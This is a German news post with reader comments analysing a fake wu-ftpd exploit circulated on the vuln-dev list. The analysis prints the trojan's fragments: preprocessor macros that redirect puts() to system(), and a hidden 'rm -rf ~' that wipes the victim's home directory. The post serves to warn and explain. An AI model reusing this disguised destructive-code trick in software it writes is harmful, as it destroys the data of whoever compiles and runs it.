symlink.ch
Wissen Vernetzt - deutsche News für die Welt
 
symlink.ch
FAQ
Mission
Über uns
Richtlinien

Moderation
Einstellungen
Story einsenden

Suchen & Index
Ruhmeshalle
Statistiken
Umfragen

Redaktion
Themen
Partner
Planet

XML | RDF | RSS
PDA | WAP | IRC
Symbar für Opera
Symbar für Mozilla

Freunde
Benutzergruppen
LUG Switzerland
LUG Vorarlberg
LUGen in DE
SIUG
CCCZH
Organisationen
Wilhelm Tux
FSF Europe
Events
LinuxDay Dornbirn
BBA Schweiz
CoSin in Bremgarten AG
VCFe in München
Menschen
maol
Flupp
Ventilator
dawn
gumbo
krümelmonster
XTaran
maradong
tuxedo

 
$HOME killender wuftpd fake exploit
Veröffentlicht durch reeler am Freitag 21. September, 00:05
Aus der sei-paranoid Abteilung
Security Beim morgenlichen Mail lesen von vuln-dev finde ich ein Mail von Carolyn Meinel welches ein Loch in wuftpd 2.6.1 beschreibt. Das Mail, profesionell geschrieben, macht einen guten Eindruck nur der angehängte Code sieht etwas kompliziert aus.

Ich mache mich also an die Arbeit, speichere das Mail und extrahiere den Code, doch das Telefon klingelt. Zwanzig Minuten später, wieder an der Arbeit, weiss ich nicht mehr genau wo ich war, also lese ich das Mail mit dem Code nochmals. Beim überfliegen des Codes fallen mir Zeilen auf, die ich noch nie in ähnlicher Form gesehen habe.

sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 &0xff);

Was soll das puts da? Ich werde neugierig und nehme den Code auseinander.

//#define POTS 12                       /* fill these in for your
#define DEF_ALGN 1                       * target system
//#define HEAP_ADDR 0x41414141           */
#define target (unsigned long)

Komisches Konstrukt auf den ersten Blick, doch spielt man Pre Processor im Kopf werden aus den 4 Zeilen plötzlich nur noch eine. Denn Zeile 1 und 3 sind Kommentare und target ist auch ein Makro.

#define DEF_ALGN 1 * (unsigned long) system

unsigned long align = DEF_ALGN;

Mit system ist die ANSI C Funktion system() gemeint, daher enthält die Variable align nun die Adresse der Funktion system().

/* position of the string */
for(i = 0; i < 4; i++)
sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 & 0xff);
/* function var position */
pots = *(unsigned long *)(attack[1] + 2); // rh7 -> attack+16+2
/* set the function var accordingly */
*(unsigned long *)pots = align;

Die ersten fünf Zeilen sind eigentlich nur dazu da um die Adresse der Funktion puts() der Variable pots zuzuweisen. Soweit nicht schlimm, wenn auch völlig ohne Zusammenhang in einem solchen Exploit.

Nun das entscheidend, der Speicherstelle auf die pots zeigt, immer noch die Funktion puts(), wird mit dem Wert aus align überschrieben. Das heisst, wenn wir puts() aufrufen wird eigentlich system() aufgerufen.

Wenn wir nun die puts() Aufrufe anschauen

puts("echo ~ ok, it seems to have worked... remember: \");
puts("rm -rf is not elite ~");

Der erste ist noch harmlos, doch der zweite löscht $HOME. Wenn man bedenkt dass bei einigen Unices $HOME bei root auf / zeigt.

Dem Autor sind jedoch auch kleine Fehler unterlaufen, der Backslash auf der ersten puts() Zeile ist eher verräterisch, da er den Double Quote quoted und dadurch das Programm nicht kompiliert.

Jedenfalls hat mir das Telefon den Frust in Spass umgewandelt, denn solche Zeilen C Code, wenn auch destruktiv, machen einfach Spass.

Der anonyme Feigling meldet sich zu Wort | Druckausgabe | Microsoft takes control  >

 

 
symlink.ch Login
Login:

Passwort:

extrahierte Links
  • Carolyn Meinel
  • Mehr zu Security
  • Auch von reeler
  • Kolumnen
  • Die RIAA rettet uns vor dem Terrorismus
  • Privates Netzwerk
  • Erklaerungsversuch fuer OSS
  • Cablecom noch weniger Geld als gedacht
  • Sunrise verkauft Geheimnummern an Telemarketer
  • Zu Besuch bei der LUGBE
  • Dt. Bundestag wechselt evtl. auf Linux
  • Servicepacks fuer die Firmenpolitik?
  • Private Kommunikation nur für Reiche?
  • Verschaerfte Ãœberwachung bringt nix
  • Diese Diskussion wurde archiviert. Es können keine neuen Kommentare abgegeben werden.
    Mailinglisten Archiv (Score:3, Informativ)
    Von Wawi am Friday 21. September, 08:28 MET (#1)
    (User #337 Info)
    Wer sich nicht schon vuln-dev subscripted hat und es in Zukunft auch nicht möchte, findet unter http://lists.insecure.org/vuln-dev/ 200 1/Sep/ ein Web-Archiv vom September und kann dort auch die Reaktionen auf das Exploit verfolgen. ;-)

    Ich schätze mal das Carolyn Meinel nicht die Autorin des Exploits war, sondern eher ein versteckter Hinweis (bzw. Schertz) des Autors darstellt. Wir sie doch von vielen black hats wegen ihres Buches
    "The Happy Hacker: A Guide to Mostly Harmless Computer Hacking"
    gerne belächelt bzw. verspottet.

    ciao
    wawi

    Re:Mailinglisten Archiv (Score:0)
    Von Anonymer Feigling am Friday 21. September, 09:02 MET (#2)
    nichts desdotrotz hat sie ne menge drauf, und er könnte durchaus von ihr entdeckt worden sein...

    Linux User Group Schweiz
    Durchsuche symlink.ch:  

    Never be led astray onto the path of virtue.
    trash.net

    Anfang | Story einsenden | ältere Features | alte Umfragen | FAQ | Autoren | Einstellungen